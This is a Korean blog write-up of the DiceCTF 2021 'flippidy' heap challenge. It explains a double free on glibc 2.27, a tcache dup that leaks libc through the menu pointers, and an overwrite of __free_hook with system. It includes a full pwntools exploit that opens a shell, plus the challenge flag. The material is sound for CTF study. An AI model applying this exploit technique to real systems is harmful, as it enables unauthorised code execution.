-
[DiceCTF 2021] flippidyCTF/WRITEUP 2021. 2. 6. 20:07
Disassembly 디스어셈블리
void main(void) { init(); printf("%s", "To get started, first tell us how big your notebook will be: "); s = input(); // size of notebook heap_address = malloc(s << 3); memset(heap_address, 0, s << 3); do { menu(); printf(": "); iVar1 = input(); if (iVar1 == 1) add(); if (ivar1 == 2) flip(); if (iVar1 == 3) { puts("Goodbye!"); exit(0); } if (iVar1 < 1 || 3 < ivar1) puts("Invalid choice."); } while( true ); }
main에서는 add()와 flip()을 원하는 만큼 반복해서 호출할 수 있다.
void add(void) { printf("Index: "); iVar2 = input(); if ((iVar2 < 0) || s <= iVar2)) { puts("Invalid index."); } else { puVar1 = heap_address[i] uVar3 = malloc(0x30); *puVar1 = uVar3; printf("Content: "); fgets(heap_address[i], 0x30, _reloc.stdin); } return; }
add()를 호출하면 0x30 크기의 힙을 할당한 뒤 원하는 값으로 조작할 수 있다.
void filp(void) { for (int i = 0 ; i <= s / 2 ; i++ ) { memset(&tmp, 0, 0x40); memset(&src, 0, 0x40); bVar3 = heap_address[i] == 0; if (!bVar3) { uVar2 = heap_address[i]; strcpy(&tmp, uVar2, uVar2); free(heap_address[i]); } bVar4 = heap_address[s-i-1] == 0; if (!bVar4) { uVar2 = heap_address[s-i-1]; strcpy(&src, uVar2, uVar2); free(heap_address[s-i-1]); } heap_address[i] = 0; heap_address[s-i-1] = 0; if (bVar3) { heap_address[s-i-1] = 0; } else { puVar1 = heap_address[s-i-1]; uVar2 = malloc(0x30); *puVar1 = uVar2; strcpy(heap_address[s-i-1], &tmp); } if (bVar4) { heap_address[i] = 0; } else { puVar1 = heap_address[i]; uVar2 = malloc(0x30); *puVar1 = uVar2; strcpy(heap_address[i], &src, &src); } } }
flip()을 호출하면 $i\leq\lfloor s/2\rfloor$ 인 동안 루프를 돌면서 $i$번과 $s-i-1$번에 저장된 데이터를 서로 바꾼다. 그 과정에서 기존의 힙을 해제한 뒤 새로운 힙을 할당하는 것을 볼 수 있다.
Double Free
flip()에서 반복문의 경계조건인 $ i=\lfloor s/2\rfloor $일 때를 생각해 보자. $s$가 짝수라면 $\lfloor s/2\rfloor-1$과 $\lfloor s/2\rfloor$가 한 번 더 바뀌게 되는 결함이 있지만 exploit에는 도움이 되지 않고, $s$가 홀수라면 $\lfloor s/2\rfloor$가 자기 자신과 바뀌는 과정에서 double free가 발생한다.
Libc version check
공격을 시도하기에 앞서 라이브러리 버전을 확인해보자. gdb로 확인한 함수의 offset와 대응하는 라이브러리는 2.27 버전이다.
glibc 2.27은 tcache를 사용하고, <2.29에 해당하는 버전은 tcache에 대한 double free 검증이 없기 때문에 위에서 찾아낸 취약점을 활용할 수 있다.
Tcache dup
tcache에서 double free가 발생하는 것으로 arbitary address overwrite이 가능해졌지만, 공격을 이어가기 위해서는 라이브러리 주소를 알아내야 한다. 하지만 Full RELRO가 걸려 있어 .got 영역을 수정할 수 없으므로, 함수의 실행 흐름을 조작하는 방법은 쓰지 못한다.
그렇다면 기존에 호출되던 입출력 함수들을 이용해야 한다는 뜻이고, menu()를 살펴보면 단서를 찾을 수 있다.
void menu(void) { puts("\n"); int i = 0; while (i < 4) { puts(*(undefined8 *)(i * 8 + 0x404020)); i = i + 1; } return; }
바이너리를 살펴보면 puts가 출력하는 주소가 쓰기 가능한 영역에 존재함을 확인할 수 있다.
해당 영역을 tcache dup을 이용해 덮어쓰게 되면 .got 영역의 라이브러리 주소를 알아낼 수 있다.
그리고 라이브러리 주소를 알아냈다면, __free_hook을 system으로 덮은 다음 free("/bin/sh)를 호출함으로써 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./flippidy" lib = "./libc.so.6" server = "dicec.tf" port = 31904 # context.log_level = 'debug' context.binary = binary if True: p = remote(server, port) else: p = gdb.debug([binary], gdbscript = 'set debug-file-directory ./x86_64-linux-gnu') e = ELF(binary) r = ROP(e) l = ELF(lib) e.checksec() menu = 0x404020 exit_got = e.got["exit"] p.sendlineafter(": ", str(1)) def malloc(idx, data): p.sendlineafter(": ", str(1)) p.sendlineafter("Index: ", str(idx)) p.sendlineafter("Content: ", data) def reverse(): p.sendlineafter(": ", str(2)) malloc(0, p64(menu)) reverse() malloc(0, p64(exit_got)*4 + p64(0x404040)) exit = u64(p.recv(8).strip(b'\n').ljust(8, b"\x00")) libc = exit - l.symbols["exit"] log.info("exit : " + hex(exit)) log.info("libc : " + hex(libc)) free_hook = libc + l.symbols["__free_hook"] system = libc + l.symbols["system"] malloc(0, p64(free_hook)) malloc(0, p64(0)) malloc(0, p64(system)) malloc(0, "/bin/sh\x00") reverse() p.interactive()
Flag
dice{some_dance_to_remember_some_dance_to_forget_2.27_checks_aff239e1a52cf55cd85c9c16}
'CTF > WRITEUP' 카테고리의 다른 글
[DarkCON CTF] Warmup (0) 2021.02.25 [DarkCON CTF] Easy-ROP (0) 2021.02.25 [DiceCTF 2021] babyrop (0) 2021.02.06 [0x41414141 CTF] Babyheap (0) 2021.02.03 [0x41414141 CTF] Faking till you're Making (0) 2021.02.02